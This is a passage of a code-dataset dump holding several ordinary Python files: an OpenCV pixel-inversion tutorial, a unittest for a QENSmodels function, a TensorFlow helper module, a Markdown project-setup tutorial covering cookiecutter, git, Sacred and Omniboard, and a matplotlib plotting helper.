"093dcfe534dce9aaa056ca8c2b731935eec59822", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-11-11T13:20:05.000Z", "max_issues_repo_issues_event_max_datetime": "2021-11-18T04:52:25.000Z", "max_forks_repo_path": "q_capsnets.py", "max_forks_repo_name": "beatricebussolino/Q-CapsNets", "max_forks_repo_head_hexsha": "093dcfe534dce9aaa056ca8c2b731935eec59822", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 48.3129251701, "max_line_length": 121, "alphanum_fraction": 0.6254106824, "include": true, "reason": "import numpy", "num_tokens": 4626, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.11757214591334526, "lm_q1q2_score": 0.05878607295667263}}
{"text": "import cv2 as cv\nimport numpy as np\n\n\n# \u904d\u5386\u8bfb\u53d6\u56fe\u7247\u7684\u6bcf\u4e00\u4e2a\u50cf\u7d20\u70b9\uff0c\u6253\u5370\u51fa\u5176\u5c5e\u6027\u503c\n# def access_pixels(image):\n    # print(image.shape)\n    # height = image.shape[0]\n    # width = image.shape[1]\n    # channels = image.shape[2]\n    # print(\"width:%s,height:%s,channels:%s\"% (width,height,channels))\n\n\n    # \u904d\u5386\u6bcf\u4e00\u4e2a\u50cf\u7d20\u70b9\uff0c\u5e76\u4e14\u4fee\u6539\u4e00\u4e2a\u50cf\u7d20\u70b9\u7684\u503c\u3002\n    # for row in range(height):\n    #     for col in range(width):\n    #         for c in range(channels):\n    #             pv = image[row,col,c]\n    #             image[row,col,c] = 255 - pv\n    # cv.imshow(\"P1\",image)\n\n# \u5f53\u524d\u6240\u7528\u7684\u65f6\u95f4\u4e3a\uff1a458.1146 ms\n\n# \u4e0a\u9762\u7684\u64cd\u4f5c\u5c31\u662f\u5bf9\u50cf\u7d20\u70b9\u8fdb\u884c\u53d6\u53cd\u64cd\u4f5c\u3002\n# \u53e6\u5916\u5c31\u662fOpen CV\u5b9a\u4e49\u4e86\u4e13\u95e8\u7684API->bitwise_not()\u51fd\u6570\u8fdb\u884c\u5bf9\u50cf\u7d20\u70b9\u8fdb\u884c\u53d6\u53cd\u64cd\u4f5c\n# \u56e0\u4e3aOpen CV\u662f\u7528C\u8bed\u8a00\u6765\u5199\u7684\u3002\u6240\u4ee5\uff0c\u5728\u8fd0\u7b97\u8d77\u6765\u7684\u65f6\u5019\u5c31\u662f\u6bd4\u8f83\u5feb\u7684\n# \u6240\u4ee5\u5728\u8fd0\u7528\u7684\u65f6\u5019\uff0c\u6211\u4eec\u5c31\u8981\u66f4\u52a0\u9ad8\u6548\u7387\u7684\u4f7f\u7528Open CV\u5185\u7f6e\u7684\u51fd\u6570\uff0c\u53ef\u4ee5\u63d0\u9ad8\u6548\u7387\ndef inverse(image):\n    dst = cv.bitwise_not(image)\n    cv.imshow(\"Inverse Windows06\",dst)\n# # \u8fd0\u884c\u901f\u5ea6\uff1a\u5f53\u524d\u6240\u7528\u7684\u65f6\u95f4\u4e3a\uff1a32.9174 ms\n\n\n# \u521b\u5efa\u4e00\u5f20\u56fe\u7247\uff0c\u5b9a\u4e49\u56fe\u7247\u7684\u5927\u5c0f\u4ee5\u53cadtype\u7c7b\u578b\ndef create_image():\n\n    # \u521b\u5efa\u4e00\u4e2a\u591a\u901a\u9053\u76848\u4f4d\u56fe\u50cf\u8fdb\u884c\u663e\u793a\uff0c\n    # \u4fee\u6539\u56fe\u7247\u7684\u50cf\u7d20\u70b9\u7684\u503c\n    # \u521b\u5efa\u4e00\u4e2a\u4e09\u901a\u9053\u7684\u957f\u5bbd\u4e3a400\uff0c\u5e76\u4e14dtype\u7c7b\u578b\u4e3anp.uint8\n    img = np.zeros([400,400,3],np.uint8)\n\n#     \u4f46\u662f\u6211\u4eec\u540c\u6837\u53ef\u4ee5\u5bf9\u521b\u5efa\u7684\u56fe\u7247\u7684\u6bcf\u4e00\u4e2a\u50cf\u7d20\u70b9\u8fdb\u884c\u4fee\u6539\uff0c\n#     \u5bf9\u7b2c\u4e00\u4e2a\u901a\u9053\u7684\u50cf\u7d20\u70b9\u8fdb\u884c\u4fee\u6539\uff0c\n    img[:,:,0] = np.ones([400,400])*255\n\n#     \u6b64\u65f6\u5c31\u5df2\u7ecf\u53ef\u4ee5\u8fdb\u884c\u663e\u793a\u4e86\n    cv.imshow('Image Windows02',img)\n\n\n    #  2.\u521b\u5efa\u4e00\u4e2a\u5355\u901a\u90538\u4f4d\u7684\u56fe\u50cf\u8fdb\u884c\u663e\u793a\n    # \u5728\u8fd9\u91cc\u6211\u4eec\u5b66\u5230\u4e86\u600e\u4e48\u521d\u59cb\u5316\u56fe\u50cf\uff0c\n    # \u4e00\u79cd\u662f\u53ef\u4ee5\u5c06\u56fe\u50cf\u5f97\u6bcf\u4e00\u4e2a\u7684\u50cf\u7d20\u70b9\u90fd\u53d8\u62100\n    # \u53e6\u5916\u4e00\u79cd\u5c31\u662f\u5c06\u6240\u6709\u7684\u50cf\u7d20\u70b9\u90fd\u53d8\u62101\uff0c\u5e76\u4e14\u53ef\u4ee5\u8fdb\u884c\u4e58\u6cd5\u6539\u53d8\u50cf\u7d20\u7684\u5927\u5c0f\n    # \u5355\u901a\u9053\u7684\u4e00\u5b9a\u4e5f\u8981\u52a0\u4e0a\u901a\u9053\u65701,\u8981\u4e0d\u7136\u4f1a\u8ba4\u4e3a\u662f\u4e8c\u7ef4\u7684\u3002\n    # \u5e76\u4e14\u4f1a\u62a5\u9519\uff0cIndexError: too many indices for array\n\n    # 1. \u521d\u59cb\u5316\u7684\u65f6\u5019\uff0c\u4f7f\u75280,\u8fdb\u884c\u521d\u59cb\u5316\n    # img = np.zeros([400,400,1],np.uint8)\n    # # 127\u5c31\u662f\u7070\u5ea6\u56fe\u50cf\n    # img[:, :, 0] = np.ones([400,400])*127\n\n    # 2. \u521d\u59cb\u5316\u7684\u65f6\u5019\u4f7f\u75281\u8fdb\u884c\u521d\u59cb\u5316\uff0c\u4f1a\u66f4\u52a0\u7075\u6d3b\u4e00\u70b9\n    img = np.ones([400, 400, 1], np.uint8)\n\n    # \u5f97\u5230\u7684\u662f\u7070\u5ea6\u56fe\u50cf\n    img1 = img*127\n\n    # \u5f97\u5230\u7684\u662f\u9ed1\u8272\u56fe\u50cf\n    img2 = img*0\n\n    # \u663e\u793a\u56fe\u50cf\n    cv.imshow(\"Image Windows04\",img1)\n    cv.imshow(\"Image Windows05\",img2)\n\n    # \u4fdd\u5b58\u56fe\u50cf\u5230\u672c\u5730dist/images/turtor_01/img_127.jpg\u548cimg_0.jpg\n    cv.imwrite('./dist/images/turtor_01/img_127.jpg',img1)\n    cv.imwrite('./dist/images/turtor_01/img_0.jpg',img2)\n\n    # cv.imshow(\"Image windows03\",img)\n\n\n    # 3. \u521d\u59cb\u5316\u4e00\u4e2a\u591a\u7ef4\u6570\u7ec4,\u5728\u4ee5\u540e\u8fdb\u884c\u56fe\u50cf\u5904\u7406\u65f6\uff0c\u5982\u679c\u6709\u6d6e\u70b9\u578b\u7684\uff0c\u4e00\u5b9a\u8981\u7528\u6d6e\u70b9\u578b\n    # \u907f\u514d\u6570\u636e\u88ab\u622a\u65ad\n    m1 = np.ones([3,3],np.float)\n    m1.fill(12.33)\n    print(m1)\n\n#     \u4f7f\u7528reshape()\u51fd\u6570\u8fdb\u884c\u8f6c\u6362\u6570\u7ec4\u7684\u7ef4\u5ea6\n#     reshape()\u51fd\u6570\u53ea\u662f\u6539\u53d8\u7684\u6570\u636e\u7684\u8868\u793a\u5f62\u5f0f\uff0c\u4f46\u662f\u5e76\u4e0d\u4f1a\u6539\u53d8\u6570\u636e\n    m2 = m1.reshape([1,9])\n    print(m2)\n\nprint(\"----------- Hello Guyan -----------\")\nsrc = cv.imread('./images/handsomeboy01.jpg')\ncv.namedWindow(\"Image Windows01\",cv.WINDOW_AUTOSIZE)\ncv.imshow(\"Image Windows01\",src)\n\n# getTickCount()\u8fd4\u56de\u4ece\u64cd\u4f5cF\u7cfb\u7edf\u542f\u52a8\u5230\u5f53\u524d\u6240\u7ecf\u8fc7\u7684\u8ba1\u65f6\u5468\u671f\u6570\nt1 = cv.getTickCount()\n# access_pixels(src)\n# getTickCount()\u51fd\u6570\uff0c\u8fd4\u56de\u4ece\u64cd\u4f5c\u7cfb\u7edf\u542f\u52a8\u5230\u5f53\u524d\u7684\u8ba1\u65f6\u5468\u671f\u6570\n\n# \u6b64\u65f6\u5c31\u53ea\u662f\u8c03\u7528\u81ea\u5df1\u521b\u5efa\u56fe\u7247\u7684\u51fd\u6570create_image()\n# create_image()\ninverse(src)\n\nt2 = cv.getTickCount()\n# getTickFrequency()\u51fd\u6570\uff0c\u7528\u4e8e\u8fd4\u56deCPU\u7684\u9891\u7387\uff0c\n# (getTickCount1 - getTickCount2)/getTickFrequency():\n# (\u5f53\u524d\u6b21\u6570 - \u5f00\u59cb\u8ba1\u65f6\u6b21\u6570) / \u6bcf\u79d2\u949f\u91cd\u590d\u6b21\u6570 = \u7b49\u4e8e\u4ece\u5f00\u59cb\u5230\u5f53\u524d\u6240\u7528\u7684\u65f6\u95f4\u3002\ntime = (t2 - t1) / cv.getTickFrequency()\n\n# \u6ce8\u610f\u8fd9\u91cc\u4e00\u5b9a\u8981\u5e26\u4e0a\u62ec\u53f7\uff0c\u8981\u4e0d\u7136\u5c31\u4f1a\u5c06\u5f53\u524d\u662f\u6240\u7528\u7684\u65f6\u95f4\u6253\u53701000\u6b21\n# print('\u5f53\u524d\u6240\u7528\u7684\u65f6\u95f4\u4e3a\uff1a%s ms' % time*1000)\nprint('\u5f53\u524d\u6240\u7528\u7684\u65f6\u95f4\u4e3a\uff1a%s ms' % (time*1000))\ncv.waitKey(0)\ncv.destroyAllWindows()", "meta": {"hexsha": "a760008d1ef3f2d44be6aa01edf20482ec730ed6", "size": 2882, "ext": "py", "lang": "Python", "max_stars_repo_path": "P1-test02/tutorial_Numpy_03.py", "max_stars_repo_name": "1924zjy0835/OpenCV", "max_stars_repo_head_hexsha": "15d0407b12e825949a7e0fa2a1c775aa24edb943", "max_stars_repo_licenses": ["bzip2-1.0.6"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "P1-test02/tutorial_Numpy_03.py", "max_issues_repo_name": "1924zjy0835/OpenCV", "max_issues_repo_head_hexsha": "15d0407b12e825949a7e0fa2a1c775aa24edb943", "max_issues_repo_licenses": ["bzip2-1.0.6"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "P1-test02/tutorial_Numpy_03.py", "max_forks_repo_name": "1924zjy0835/OpenCV", "max_forks_repo_head_hexsha": "15d0407b12e825949a7e0fa2a1c775aa24edb943", "max_forks_repo_licenses": ["bzip2-1.0.6"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 24.6324786325, "max_line_length": 70, "alphanum_fraction": 0.6613462873, "include": true, "reason": "import numpy", "num_tokens": 1331, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.11757213354550883, "lm_q1q2_score": 0.058786066772754414}}
{"text": "import os\nimport sys\nimport unittest\nimport numpy\nfrom os.path import join as pjn\n\nimport QENSmodels\n\n# resolve path to reference_data\nthis_module_path = sys.modules[__name__].__file__\ndata_dir = pjn(os.path.dirname(this_module_path), 'reference_data')\n\n\nclass TestBackgroundPolynomials(unittest.TestCase):\n    \"\"\" Tests QENSmodels.background_polynomials function\"\"\"\n\n    def test_type_output(self):\n        \"\"\" test types of outputs depending on types of inputs of x\n        (float or array)\"\"\"\n        self.assertIsInstance(QENSmodels.background_polynomials(1, [1, 2, 3]),\n                              numpy.float64)\n\n        self.assertIsInstance(QENSmodels.background_polynomials([1, 2, 3],\n                                                                [1, 2, 3]),\n                              numpy.ndarray)\n\n    def test_output_when_no_coeff(self):\n        \"\"\" test that output = 0 if no list of coefficients given \"\"\"\n        self.assertEqual(QENSmodels.background_polynomials(1), 0.0)\n        self.assertEqual(QENSmodels.background_polynomials(3.21), 0.0)\n\n    def test_raised_error(self):\n        \"\"\" test that an exception is raised if the input list of coefficients\n        is incorrect, for example, if not all elements are numbers\"\"\"\n        self.assertRaises(ValueError, QENSmodels.background_polynomials,\n                          [1, 2, 3],\n                          [1, 2, 'a'])\n\n    def test_reference_data(self):\n        \"\"\" Test output values in comparison with reference data\n                   (file in 'reference data' folder) \"\"\"\n\n        # load reference data\n        ref_data = numpy.loadtxt(pjn(data_dir,\n                                     \"background_polynomials_ref_data.dat\"))\n\n        # generate data from current model\n        # for info: the parameters' values used for the reference data are\n        # specified in the README file in the 'reference data' folder\n        w = numpy.arange(-2, 2.01, 0.01)\n        actual_data = numpy.column_stack([w, QENSmodels.background_polynomials(w, [1, 2, 3])]) # noqa:\n\n        # compare the 2 arrays\n        numpy.testing.assert_array_almost_equal(ref_data,\n                                                actual_data,\n                                                decimal=13)\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "meta": {"hexsha": "f4121e3b4b49dd7a975181d0872d0c2b9578827b", "size": 2306, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/test_background_polynomials.py", "max_stars_repo_name": "celinedurniak/test_nbsphinx", "max_stars_repo_head_hexsha": "f4bf376b933d5958cb921965cfb1430926fb10a5", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tests/test_background_polynomials.py", "max_issues_repo_name": "celinedurniak/test_nbsphinx", "max_issues_repo_head_hexsha": "f4bf376b933d5958cb921965cfb1430926fb10a5", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 4, "max_issues_repo_issues_event_min_datetime": "2020-07-09T05:43:47.000Z", "max_issues_repo_issues_event_max_datetime": "2020-07-21T08:29:42.000Z", "max_forks_repo_path": "tests/test_background_polynomials.py", "max_forks_repo_name": "celinedurniak/test_nbsphinx", "max_forks_repo_head_hexsha": "f4bf376b933d5958cb921965cfb1430926fb10a5", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.8032786885, "max_line_length": 102, "alphanum_fraction": 0.6014744146, "include": true, "reason": "import numpy", "num_tokens": 478, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.11757212736159103, "lm_q1q2_score": 0.05878606368079552}}
{"text": "# -*- encoding: utf-8 -*-    \n\"\"\"\n@Author     :   zYx.Tom\n@Contact    :   526614962@qq.com\n@site       :   https://github.com/zhuyuanxiang/tensorflow_cookbook\n---------------------------\n@Software   :   PyCharm\n@Project    :   TensorFlow_Machine_Learning_Cookbook\n@File       :   tools.py\n@Version    :   v0.1\n@Time       :   2019-11-02 11:58\n@License    :   (C)Copyright 2018-2019, zYx.Tom\n@Reference  :   \u300aTensorFlow\u673a\u5668\u5b66\u4e60\u5b9e\u6218\u6307\u5357\uff0cNick McClure\u300b, Sec04\uff0cP\n@Desc       :   \u57fa\u4e8e TensorFlow \u7684\u7ebf\u6027\u56de\u5f52\uff0c\u5e38\u7528\u7684 Python \u5de5\u5177\u51fd\u6570\n\"\"\"\n# common imports\nimport os\nimport sys\n\nimport numpy as np  # pip install numpy<1.17\uff0c\u5c0f\u4e8e1.17\u5c31\u4e0d\u4f1a\u62a5\u9519\nimport sklearn\nimport tensorflow as tf\nfrom tensorflow.python.framework import ops\n\n# \u8bbe\u7f6e\u6570\u636e\u663e\u793a\u7684\u7cbe\u786e\u5ea6\u4e3a\u5c0f\u6570\u70b9\u540e3\u4f4d\nnp.set_printoptions(precision = 8, suppress = True, threshold = np.inf, linewidth = 200)\n\n# \u5229\u7528\u968f\u673a\u79cd\u5b50\uff0c\u4fdd\u8bc1\u968f\u673a\u6570\u636e\u7684\u7a33\u5b9a\u6027\uff0c\u4f7f\u5f97\u6bcf\u6b21\u968f\u673a\u6d4b\u8bd5\u7684\u7ed3\u679c\u4e00\u6837\nnp.random.seed(42)\n\n# \u521d\u59cb\u5316\u9ed8\u8ba4\u7684\u8ba1\u7b97\u56fe\nops.reset_default_graph()\n# Python \u22653.5 is required\nassert sys.version_info >= (3, 5)\n# Scikit-Learn \u22650.20 is required\nassert sklearn.__version__ >= \"0.20\"\n# \u5c4f\u853d\u8b66\u544a\uff1aYour CPU supports instructions that this TensorFlow binary was not compiled to use: AVX2 FMA\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n# Open graph session\nsess = tf.Session()\n\n\ndef show_values(variable, title = None, feed_dict = None, session = None):\n    if type(title) is not str:\n        print(\"Show_values()\u51fd\u6570\u88ab\u91cd\u6784\u4e86\uff0c\u628a\u53d8\u91cf\u653e\u5728\u4e86\u7b2c\u4e00\u4e2a\u53c2\u6570\uff0c\u628a\u6807\u9898\u653e\u5728\u4e86\u7b2c\u4e8c\u4e2a\u53c2\u6570\")\n    if title is None:\n        title = str(variable)\n    if session is None:\n        session = tf.Session()\n        session.run(tf.global_variables_initializer())\n    print('-' * 50)\n    if title is not None:\n        print(\"{} = {}\".format(title, variable))\n        print(\"session.run({}) = \".format(variable))\n    result = session.run(variable, feed_dict = feed_dict)\n    print(result)\n    return result\n\n\ndef show_title(number_title):\n    print('\\n', '-' * 5, number_title, '-' * 5)", "meta": {"hexsha": "29408e2106c82aa534b104f1fa7cfa4b7d5bad03", "size": 1852, "ext": "py", "lang": "Python", "max_stars_repo_path": "tools.py", "max_stars_repo_name": "zhuyuanxiang/tensorflow_cookbook", "max_stars_repo_head_hexsha": "57d7ee719385ddd249a67c3a85bd336e884a67e5", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 7, "max_stars_repo_stars_event_min_datetime": "2019-11-30T05:42:47.000Z", "max_stars_repo_stars_event_max_datetime": "2021-10-09T03:02:19.000Z", "max_issues_repo_path": "tools.py", "max_issues_repo_name": "zhuyuanxiang/tensorflow_cookbook", "max_issues_repo_head_hexsha": "57d7ee719385ddd249a67c3a85bd336e884a67e5", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tools.py", "max_forks_repo_name": "zhuyuanxiang/tensorflow_cookbook", "max_forks_repo_head_hexsha": "57d7ee719385ddd249a67c3a85bd336e884a67e5", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2019-12-05T06:44:48.000Z", "max_forks_repo_forks_event_max_datetime": "2021-10-09T03:02:20.000Z", "avg_line_length": 30.3606557377, "max_line_length": 99, "alphanum_fraction": 0.6668466523, "include": true, "reason": "import numpy", "num_tokens": 611, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4301473485858429, "lm_q2_score": 0.136608397056381, "lm_q1q2_score": 0.05876173978836435}}
{"text": "# KICKSTART YOUR PYTHON PROJECT\n\n## Part 1: Coockiecutter, git and virtualenv\n### Cookiecutter\n1. Install [cookiecutter](https://cookiecutter.readthedocs.io/en/latest/readme.html?highlight=data%20science) in your system/user python profile (not a virtual environment).\n\n    ```bash\n    $ pip install --user cookiecutter\n    ```\n\n2. Surf the file system until your code folder (e.g. `path/to/repos_folder`). This is the parent folder of your code.\n**NB: cookiecutter will create a new folder `project_name` with everything inside. Your actual code will be in a subfolder, i.e. `path/to/repos_folder/project_name/src/`**\nThen run `cookiecutter` with the link to the  [data-science-template](https://github.com/drivendata/cookiecutter-data-science) and prompt the question it will ask you:\n\n    ```bash\n    $ cd Documents/xxx/xxx/Code/\n    $ cookiecutter https://github.com/drivendata/cookiecutter-data-science\n    # fill the question using project name: kickstart_python\n    # once it is finished, cd the forder kickstart_python\n    $ cd kickstart_python\n    ```\n    **From now on, our current directory will be `path/to/kickstarn_python/`** unless specified\n\n### Virtual Environment pt1\n3. set up a virtual environment, named `venv`, specifying the python version.\n   `venv` is a typical convention, you could call it `remi` if you want.\n   This code will create a folder named `venv` containing lot of things and a **local copy of all the packages** you will pip-install from now on.\n\n    ```bash\n    $ virtualenv venv -p python3\n    ```\n\n4. edit the `.gitignore`  by adding the virtualenv's folder with you favorite text editor or just run the following command\n\n    ```bash\n    $ echo venv >> .gitignore\n    ```\n\n### GIT\n5. set up git and link it to a new github/gitlab reporitory:\n    1. On [github.com](https://github.com/) or [inria's gitlab](https://gitlab.inria.fr)  create an **empty** reporitory online (it means no README and no license. If you do so it will display usefull command).\n    2. Start git locally and synch it with the following commands:\n\n    ```bash\n    $ git init\n    # check we are not 'saving' wried files\n    $ git status\n    # if so, commit\n    $ git add .\n    $ git commit -m \"first commit\"\n\n    # If github\n    $ git remote add origin https://github.com/USER/python_kickstart.git\n    # If inria gitlab\n    $ git config --global user.name \"your_name\"\n    $ git config --global user.email \"your_email@inria.fr\"\n    $ git remote add origin git@gitlab.inria.fr:USER/python_kickstart.git\n\n    $ git push -u origin master\n    # avoid writing login and password for the future time\n    $ git config credential.helper store\n    ```\n### Virtual Environment pt2\n6. Activate the virtualenv\n\n    ```bash\n    [user@localhost] project_name/ $ source venv/bin/activate\n    # check that it is activated. You should have (venv) at the beginnig of your command line\n    (venv) [user@localhost] project_name/ $\n    ```\n\n7. Install the basic dependencies of cookiecutter (if you want). Notice that doing so also you will install the src package by default. Then install your everyday-coding-favorite-life packages: numpy, matplotlib, jupyter\n\n    ```bash\n    (venv) $ pip install -r requirements.txt\n    (venv) $ pip install numpy matplotlib jupyter\n    ```\n\n8. Freeze the requirements ('>' overwrite, '>>' append)\n\n    ```bash\n    (venv) $ pip freeze >> requirements.txt\n    ```\n\n9. Install the package for a toy example\n\n    ```bash\n    (venv) $ pip install sklearn\n    ```\n\n10. in `src/` create the `main.py` file and paste the following code:\n\n    ```python\n    from numpy.random import permutation\n    from sklearn import svm, datasets\n\n    C = 1.0\n    gamma = 0.7\n    iris = datasets.load_iris()\n    perm = permutation(iris.target.size)\n    iris.data = iris.data[perm]\n    iris.target = iris.target[perm]\n    model = svm.SVC(C, 'rbf', gamma=gamma)\n    model.fit(iris.data[:90],\n            iris.target[:90])\n    print(model.score(iris.data[90:],\n                    iris.target[90:]))\n    ```\n\n11. commit the changes\n\n    ```bash\n    $ git add .\n    $ git commit -m 'toy svm'\n    ```\n\n12. edit the `models/train_model.py` and `models/predict_model.py` files. I\nIn both of the files (actually python modules) create new function respectively\n    In `./src/models/train_model.py`:\n    ```python\n    from sklearn import svm\n    def train(data, target, C, gamma):\n        clf = svm.SVC(C, 'rbf', gamma=gamma)\n        clf.fit(data[:90],\n                target[:90])\n        return clf\n    ```\n    In `./src/models/predict_model.py`:\n    ```python\n    def predict(clf, data, target):\n        return clf.score(data, target)\n    ```\n\n13. Update the main file in order to import with the following imports\n    In `src/main.py` add:\n    ```python\n    from models.predict_model import predict\n    from models.train_model import train\n    ```\n\n    Now The main code should looks like:\n\n    ```python\n    # std imports\n    from numpy.random import permutation\n    from sklearn import datasets\n    # my imports\n    from models.predict_model import predict\n    from models.train_model import train\n\n    C = 1.0\n    gamma = 0.7\n    iris = datasets.load_iris()\n    per = permutation(iris.target.size)\n    iris.data = iris.data[per]\n    iris.target = iris.target[per]\n    model = train(iris.data[:90], iris.target[:90], C, gamma)\n    score = predict(model, iris.data[90:], iris.target[90:])\n    print(score)\n    ```\n\n14. Run and debug\n\n    ```bash\n    (venv) $ python src/main.py\n    ```\n\n### Sacred\n15. PIP-install [Sacred](https://github.com/IDSIA/sacred) for tracking experiments\n\n    ```bash\n    (venv) $ pip install sacred pymongo\n    ```\n\n16. create a new function for the parameters C and gamma and add the colorators for Sacred\n\n    ```python\n    #...add here the new nice imports and add the followings\n    from sacred import Experiment\n    ex = Experiment('iris_svm') # id of the experiments\n\n    @ex.config\n    def cfg():\n        C = 1.0\n        gamma = 0.7\n\n    @ex.automain\n    def run(C, gamma):\n        # ...\n        # ... paste here the main\n        #...\n        return score\n    ```\n\n17. run it from the project's root directory\n\n    ```bash\n    (venv) $ python src/main.py\n    ```\n\n### MongoDB and Omniboard\n\n18. install mongodb in your system. In a new terminal\n\n    ```bash\n    $ sudo dnf install mongodb mongodb-server mongoose\n    # start service\n    $ sudo service mongod start\n    # verify it is woring\n    $ mongo  # it will start the mongo-db-shell\n    ```\n\n19. Run and re-run as many time as you want the code with the database flag:\n\n    ```bash\n    (venv) $ python src/main.py -m MY_IRIS_EXP\n    ```\n    notice how the ID value increase at each run\n\n21. In a mongo shell (just run mongo in the command line) check if the MY_IRIS_EXP database exists\n\n    ```bash\n    $ mongo\n    # after in the mongo shell\n    > show dbs\n    # look for MY_IRIS_EXP entry\n    ```\n\n22. download and install [Ominboard](https://github.com/vivekratnavel/omniboard), the sacred+mongo frontends\n\n    ```bash\n    # in a new terminal\n    $ sudo npm install -g omniboard\n    ```\n\n23. In the same shell run the server listener\n\n    ```bash\n    $ omniboard -m localhost:27017:MY_IRIS_EXP\n    ```\n\n24. go to [http://localhost:9000](http://localhost:9000) to access omniboard frontends:\n\n25. play with it\n\n### Experiment metrics and omniboard visualization\n\n26. add a metric in the main.py file add\n\n    ```python\n    @ex.automain\n    def run(C, gamma):\n        ... # the code before\n        ex.log_scalar(\"val.score\", score)\n        return score\n    ```\n\n27. And what about a typical loss fuction in a for loop?\n    for instance add the following line.\n    We need to pass the object `_run` at the `main()`\n\n    ```python\n    @ex.automain\n    def run(_run, C, gamma):\n        ... # the code before\n        my_loss = 0\n        for i in range(20):\n            # Explicit step counter (0, 1, 2, 3, ...)\n            # incremented with each call for training.accuracy:\n            _run.log_scalar(\"training.loss\", my_loss, i)\n            my_loss += 1.5*i + np.random.random(1)\n        return score\n    ```\n\n1. run some experiments\n\n1. play in omniboard\n", "meta": {"hexsha": "c9e615982281a19160b18a3e4cee8d68f007b83a", "size": 8147, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/main.py", "max_stars_repo_name": "Chutlhu/python_kickstart", "max_stars_repo_head_hexsha": "3fa7ee6830fa8c99b7e9887206d7fcda7361d292", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-06-18T11:46:30.000Z", "max_stars_repo_stars_event_max_datetime": "2020-06-18T11:46:30.000Z", "max_issues_repo_path": "src/main.py", "max_issues_repo_name": "Chutlhu/python_kickstart", "max_issues_repo_head_hexsha": "3fa7ee6830fa8c99b7e9887206d7fcda7361d292", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 5, "max_issues_repo_issues_event_min_datetime": "2020-03-24T17:02:01.000Z", "max_issues_repo_issues_event_max_datetime": "2021-06-01T23:42:25.000Z", "max_forks_repo_path": "src/main.py", "max_forks_repo_name": "Chutlhu/python_kickstart", "max_forks_repo_head_hexsha": "3fa7ee6830fa8c99b7e9887206d7fcda7361d292", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.3057553957, "max_line_length": 220, "alphanum_fraction": 0.6541058058, "include": true, "reason": "from numpy", "num_tokens": 2167, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3812195803163617, "lm_q2_score": 0.15405756851741473, "lm_q1q2_score": 0.058729761614767985}}
{"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\ndef plotData(X, y):\n    import matplotlib.pyplot as plt\n    import numpy as np\n    pos = np.where(y == 1)\n    neg = np.where(y == 0)\n    plt.scatter(X[pos, 0], X[pos, 1], color='g', marker='+')\n    plt.scatter(X[neg, 0], X[neg, 1], color='y', marker='o')\n\n    plt.grid()\n", "meta": {"hexsha": "b12d798c2e74531c51fcb5ca8ffa518ae1d36883", "size": 319, "ext": "py", "lang": "Python", "max_stars_repo_path": "ex2_logistic_regression/plotData.py", "max_stars_repo_name": "hemincong/MachineLearningExercise", "max_stars_repo_head_hexsha": "2c70f0df9f95bbebb9cf4e41178af5a06d3f3e16", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2018-09-11T02:12:30.000Z", "max_stars_repo_stars_event_max_datetime": "2018-09-11T02:12:30.000Z", "max_issues_repo_path": "ex2_logistic_regression/plotData.py", "max_issues_repo_name": "hemincong/MachineLearningExercise", "max_issues_repo_head_hexsha": "2c70f0df9f95bbebb9cf4e41178af5a06d3f3e16", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "ex2_logistic_regression/plotData.py", "max_forks_repo_name": "hemincong/MachineLearningExercise", "max_forks_repo_head_hexsha": "2c70f0df9f95bbebb9cf4e41178af5a06d3f3e16", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 22.7857142857, "max_line_length": 60, "alphanum_fraction": 0.5517241379, "include": true, "reason": "import numpy", "num_tokens": 106, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44167302036300954, "lm_q2_score": 0.13296424019782924, "lm_q1q2_score": 0.058726717568447925}}
